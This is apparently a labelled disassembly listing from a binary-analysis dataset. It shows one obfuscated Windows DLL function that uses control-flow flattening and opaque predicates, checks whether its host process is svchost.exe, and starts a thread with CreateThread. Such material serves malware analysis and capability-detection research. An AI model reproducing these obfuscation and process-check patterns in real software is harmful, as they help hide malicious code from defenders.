Function at 0x18000346c
Capabilities:
Create thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
cmp edx, 1
mov edi, 0x60e78eda
mov eax, 0x611a2f87
cmovne edi, eax
test edx, edx
mov esi, 0x5a9e2d38
cmovne esi, eax
mov eax, 0x9dd31e6f
mov r12d, 0x68be7c9
cmovle r12d, eax
mov eax, 0xea4afbab
mov r13d, 0xe751fcdc
lea r14, [rbp - 0x80]
mov ecx, eax
cmp eax, 0x68be7c8
jle 0x180003509
cmp ecx, 0x5a9e2d37
jg 0x18000356c
cmp ecx, 0x2e347f24
jle 0x1800035fe
cmp ecx, 0x4643d8a2
jg 0x1800037b1
cmp ecx, 0x2e347f25
je 0x180003845
mov eax, ecx
cmp ecx, 0x3b299a30
jne 0x1800034bf
mov eax, 0x9f6473b9
jmp 0x1800034bf
cmp ecx, 0xab017307
jle 0x1800035ae
cmp ecx, 0xca22677c
jle 0x180003643
cmp ecx, 0xe751fcdb
jg 0x1800037d5
cmp ecx, 0xca22677d
je 0x18000384f
mov eax, ecx
cmp ecx, 0xd620c4b8
jne 0x1800034bf
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
lea rdx, str.C:WindowsSystem32_svchost.exe
call fcn.180006adc
add rsp, 0x20
mov eax, 0x4643d8a3
jmp 0x1800034bf
cmp ecx, 0x611a2f86
jle 0x180003687
cmp ecx, 0x6b306534
jg 0x18000381a
cmp ecx, 0x611a2f87
je 0x180003810
mov eax, ecx
cmp ecx, 0x6ac21691
jne 0x1800034bf
mov eax, 0x6b306535
mov r15d, 2
jmp 0x1800034bf
cmp ecx, 0x9dd31e6e
jg 0x180003781
cmp ecx, 0x87f70afe
je 0x18000386d
cmp ecx, 0x983bd786
je 0x18000387d
mov eax, ecx
cmp ecx, 0x98940133
jne 0x1800034bf
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b299a30
mov ecx, 0x9f6473b9
jmp 0x180003969
mov eax, edi
cmp ecx, 0x68be7c9
je 0x1800034bf
cmp ecx, 0x201dd4bf
je 0x18000388e
mov eax, ecx
cmp ecx, 0x29ee5a9e
jne 0x1800034bf
mov ecx, dword [rbp + 0xa4]
sub rsp, 0x20
call fcn.180005b48
add rsp, 0x20
mov eax, 0xab017308
jmp 0x1800034bf
cmp ecx, 0xab017308
je 0x1800038fb
cmp ecx, 0xb49aa8c5
je 0x180003916
mov eax, ecx
cmp ecx, 0xbd406706
jne 0x1800034bf
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2e347f25
mov ecx, 0x5c699a63
jmp 0x180003969
cmp ecx, 0x5a9e2d38
je 0x180003925
cmp ecx, 0x5c699a63
je 0x180003810
mov eax, ecx
cmp ecx, 0x60e78eda
jne 0x1800034bf
mov qword [rbp + 0xb0], r14
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
mov r8d, 0x104
xor edx, edx
call fcn.180004c90
add rsp, 0x20
mov qword [rbp + 0xa8], r14
mov rdx, qword [rbp + 0xa8]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
call fcn.180005b60
add rsp, 0x20
mov qword [rbp + 0x90], rax
mov eax, dword [0x18001ac28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18001ac24], 0xa
setl cl
or cl, al
mov eax, 0xddc65d1d
mov ecx, 0x1abeb25
cmovne eax, ecx
mov ecx, 0xddc65d1d
mov edx, 0x876a7315
cmovne ecx, edx
mov edx, 0x52e33e57
cmp edx, 0x1abeb24
jg 0x180003765
cmp edx, 0x876a7315
je 0x18000377d
cmp edx, 0xddc65d1d
jne 0x180003746
mov edx, 0x876a7315
jmp 0x180003746
cmp edx, 0x1abeb25
je 0x180003939
cmp edx, 0x52e33e57
jne 0x180003746
mov edx, ecx
jmp 0x180003746
mov edx, eax
jmp 0x180003746
mov eax, esi
cmp ecx, 0x9dd31e6f
je 0x1800034bf
cmp ecx, 0x9f6473b9
je 0x180003950
mov eax, ecx
cmp ecx, 0x9f9b2fa8
jne 0x1800034bf
mov eax, r12d
jmp 0x1800034bf
cmp ecx, 0x4643d8a3
je 0x18000397b
mov eax, ecx
cmp ecx, 0x46b67180
jne 0x1800034bf
mov eax, 0x9f9b2fa8
jmp 0x1800034bf
cmp ecx, 0xe751fcdc
je 0x1800039c7
mov eax, ecx
cmp ecx, 0xea4afbab
jne 0x1800034bf
mov eax, 0x10
call fcn.180003a20
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb8], rax
mov eax, 0x46b67180
jmp 0x1800034bf
mov eax, 0xb49aa8c5
jmp 0x1800034bf
cmp ecx, 0x6b306535
jne 0x1800039e0
mov rax, qword [rbp + 0xb0]
cmp r15d, 1
mov eax, 0xb49aa8c5
mov ecx, 0x7678b157
cmove eax, ecx
xor ebx, ebx
jmp 0x1800034bf
mov eax, 0xbd406706
jmp 0x1800034bf
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2e347f25
mov ecx, 0xbd406706
jmp 0x180003969
mov eax, 0x6b306535
mov r15d, 1
jmp 0x1800034bf
mov rax, qword [rbp + 0x98]
mov eax, 0x6ac21691
jmp 0x1800034bf
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0xb8]
xor ecx, ecx
mov dword [rax], ecx
mov dword [0x180019a80], 1
mov rax, qword [rbp + 0xb8]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
xor ecx, ecx
xor edx, edx
lea r8, [0x180002d1d]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov eax, 0x983bd786
jmp 0x1800034bf
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd620c4b8
mov ecx, 0x4643d8a3
jmp 0x180003969
mov eax, 0x7678b157
mov ebx, 1
jmp 0x1800034bf
mov dword [0x180019a80], 0
mov eax, 0xca22677d
jmp 0x1800034bf
mov rax, qword [rbp + 0x90]
mov dword [rbp + 0xa4], eax
mov eax, 0x29ee5a9e
jmp 0x1800034bf
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b299a30
mov ecx, 0x87f70afe
cmove eax, ecx
cmp dword [0x18001ac20], 0xa
cmovl eax, ecx
jmp 0x1800034bf
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
lea rdx, str.C:WindowsSystem32_svchost.exe
call fcn.180006adc
add rsp, 0x20
test eax, eax
sete byte [rbp + 0xc7]
mov eax, dword [0x18001ac2c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd620c4b8
cmove eax, r13d
cmp dword [0x18001ac20], 0xa
cmovl eax, r13d
jmp 0x1800034bf
cmp byte [rbp + 0xc7], 0
mov eax, 0x98940133
mov ecx, 0x201dd4bf
cmovne eax, ecx
jmp 0x1800034bf
mov eax, ecx
cmp ecx, 0x7678b157
jne 0x1800034bf
mov eax, ebx
lea rsp, [rbp + 0xc8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret